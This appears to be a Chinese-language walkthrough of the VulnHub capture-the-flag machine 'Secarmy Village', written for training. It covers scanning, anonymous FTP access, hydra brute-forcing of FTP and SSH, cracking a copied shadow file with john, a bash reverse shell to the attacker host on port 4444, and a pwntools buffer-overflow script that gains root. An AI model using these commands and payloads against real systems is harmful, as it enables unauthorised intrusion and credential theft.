Secarmy Village: Grayhat Conference
来自 < Secarmy Village: Grayhat Conference ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.224
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.224

|----------------------|----------|----------------------------------------------------------------------------|----------------------------------------------------------------------|
| 端口/服务 | 风险等级 | 详细风险 | 建议措施 |
| 21/tcp (FTP) | 高 | - 允许匿名登录(Anonymous FTP),可能泄露敏感文件。 - vsftpd 3.0.3可能存在未修复漏洞(如CVE-2020-8816)。 | 1. 禁用匿名登录。 2. 限制FTP目录权限。 3. 升级到最新版本。 |
| 22/tcp (SSH) | 中 | - OpenSSH 7.6p1版本较旧,可能存在弱密码或密钥泄露风险。 | 1. 禁用密码认证,强制使用密钥登录。 2. 升级至OpenSSH 9.6+版本。 3. 限制SSH访问IP范围。 |
| 80/tcp (HTTP) | 高 | - Apache 2.4.29存在旧漏洞(如CVE-2017-15715)。 - 网站标题暗示潜在漏洞风险。 | 1. 升级Apache至2.4.57+。 2. 扫描Web目录(使用gobuster或dirb)。 3. 检查SQL注入/XSS等漏洞。 |
| 1337/tcp (自定义服务) | 高 | - 密码恢复功能需输入"令牌",可能为硬编码凭证或存在逻辑漏洞(如缓冲区溢出)。 | 1. 通过FTP/HTTP获取潜在令牌。 2. 使用netcat手动交互测试。 3. 审计服务代码逻辑,移除硬编码凭证。 |
4,尝试匿名访问,发现什么都没有

访问80端口开放的http服务

对网站存在的隐藏子目录进行扫描

查看页面源代码得到一些内容(因为文字选择白色所以无法直接看见)
view-source:http://192.168.23.224/anon/

5,再次尝试登录到ftp服务器上,账户密码:uno/luc10r4m0n

下载下来查看内容
get flag1.txt
get readme.txt

得到了flag1和重要提示信息

通过在ftp服务器的信息收集可以知道所有用户名
ls /home

保存成为一个字典,然后进行hydra爆破
hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ftp

hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ssh

甚至可以ssh登录了
6,ftp上线dos用户,password:4b3l4rd0fru705

信息收集发现有两个文件1137.txt和readme.txt,保存下来看看。

然后把巨大的files文件夹里面的内容下载出来
mkdir ftp
cd ftp
prompt
mget *

7,1337.txt提示要通过nc连接靶机的1337端口,我们可以使用该命令来连接,连接后需要token

readme.txt,说需要在files这个目录里的一堆文件中找到有'a8211ac1853a1235d48829414626512a'这字符串。使用python脚本完成
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| import re def find_str(num): file_text = open(f'ftp/file{num}.txt').readlines() pattern = re.compile(r'^.*'+'a8211ac1853a1235d48829414626512a'+r'.*$') for line in file_text: if pattern.search(line): print('file'+str(num)+'.txt') break if name == 'main': for i in range(0,5001): find_str(i) |

成功找到对应文件

有提示去看file3131.txt,最后是base64编码,将其转换成zip文件
vim encode.txt
cat encode.txt | tr -d '\n' | base64 -d > output.zip

然后读取这些文件

得到了flag2
8,nc连接之后输入我们得到的token:c8e6afe38c2ae9a0283ecfb4e1b7c10f7d96e54c39e727d0e5515ba24a4d1f1b

得到一个账户和密码,登录ftp服务器
tres:r4f43l71n4j3r0

下载文件夹下面的三个文件,读取文本文件

已向当前文件夹中的 secarmy-village 二进制文件添加一组条件语句。请逆向该文件并获取第四个用户的凭据。如果访问文件时遇到问题,可前往以下链接下载:
https://mega.nz/file/XodTiCJD#YoLtnkxzRe_BInpX6twDn_LFQaQVnjQufFj3Hn1iEyU
9,upx脱壳文件
upx -d secarmy-village

然后查看文件内容,得到第四个用户名密码
strings secarmy-village

cuatro:p3dr00l1v4r3z

登录成功下载第四个flag和关键提示

10,根据提示访问网站的一个隐藏目录/justanothergallery
http://192.168.23.224/justanothergallery/

得到一个二维码,第53扫一下即可得到用户密码 cinco:ruy70m35
http://192.168.23.224/justanothergallery/qr/image-53.png
11,ftp服务器访问

下载这两个文件然后读取

然后ssh上线用户

寻找属主属于cinco用户的文件
find / -user cinco 2>/dev/null

先赋予权限给shadow.bak,再通过kali的scp下载它
scp [email protected]:/cincos-secrets/shadow.bak /root/

解密bak文件得到账户和密码 seis:Hogwarts
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.bak

12,使用ftp服务器登录,下载该用户的两个文件

然后读取之

提示访问一个隐藏网页
http://192.168.23.224/shellcmsdashboard/

扫描一下网站子目录
dirsearch -u http://192.168.23.224/shellcmsdashboard/ -x 404,403

http://192.168.23.224/shellcmsdashboard/robots.txt

得到账户密码访问一下,admin/qwerty

得到一个页面,访问一下
http://192.168.23.224/shellcmsdashboard/aabbzzee.php

发现这个网页存在命令执行漏洞,直接反弹shell
bash -c "bash -i >& /dev/tcp/192.168.23.182/4444 0>&1"

然后kali监听4444端口,成功getshell

13,信息收集一下,得到一个用户名密码
chmod 7777 readme9213.txt
cat readme9213.txt

依然使用hydra进行爆破
hydra -L users.txt -p 6u1l3rm0p3n473 192.168.23.224 ssh

是siete用户的6u1l3rm0p3n473,ftp上线登录一下

都导出来看看

看看文件内容

通过key.txt里的x,十进制为120,对于每个字节,我们执行xor并将得到的结果通过函数chr来转换成字符从而形成字符串
python -c 'print("".join([chr(x ^ 120) for x in bytearray([11,29,27,25,10,21,1,0,23,10,17,12,13,8])]))'

得到了password.zip的解压密码secarmyxoritup

14,依然hydra爆破下一个用户的账户密码
hydra -L users.txt -p m0d3570v1ll454n4 192.168.23.224


然后分析得到的两个文件

wireshark keyboard.pcapng
在过滤器输入http.request.method==GET

有个none.txt,然后追踪流看看内容

把这个密文进行解密 mjwfr?2b6j3a5fx/
Keyboard Shift Cipher - Key Offset - Online Decoder, Translator

拿到下一个用户的账户密码 nueve:355u4z4rc0
15,然后ftp登录下一个用户

下载三个文件,然后读取

16,只要local_10==0xcafebabe即可获得root shell,所以我们要用值覆盖long这个变量,先通过靶机用socat命令开启8000端口监听
socat TCP-LISTEN:8000 EXEC:./orangutan

接着在kali编写py脚本,以相反的顺序发送所需的值,这里借用国外wp的脚本
from pwn import *
offset = b"A" * 24
secret = b"\xbe\xba\xfe\xca"
payload = offset + secret
conn = remote('192.168.23.224',8000)
print(conn.recvline())
print(conn.recvline())
conn.sendline(payload)
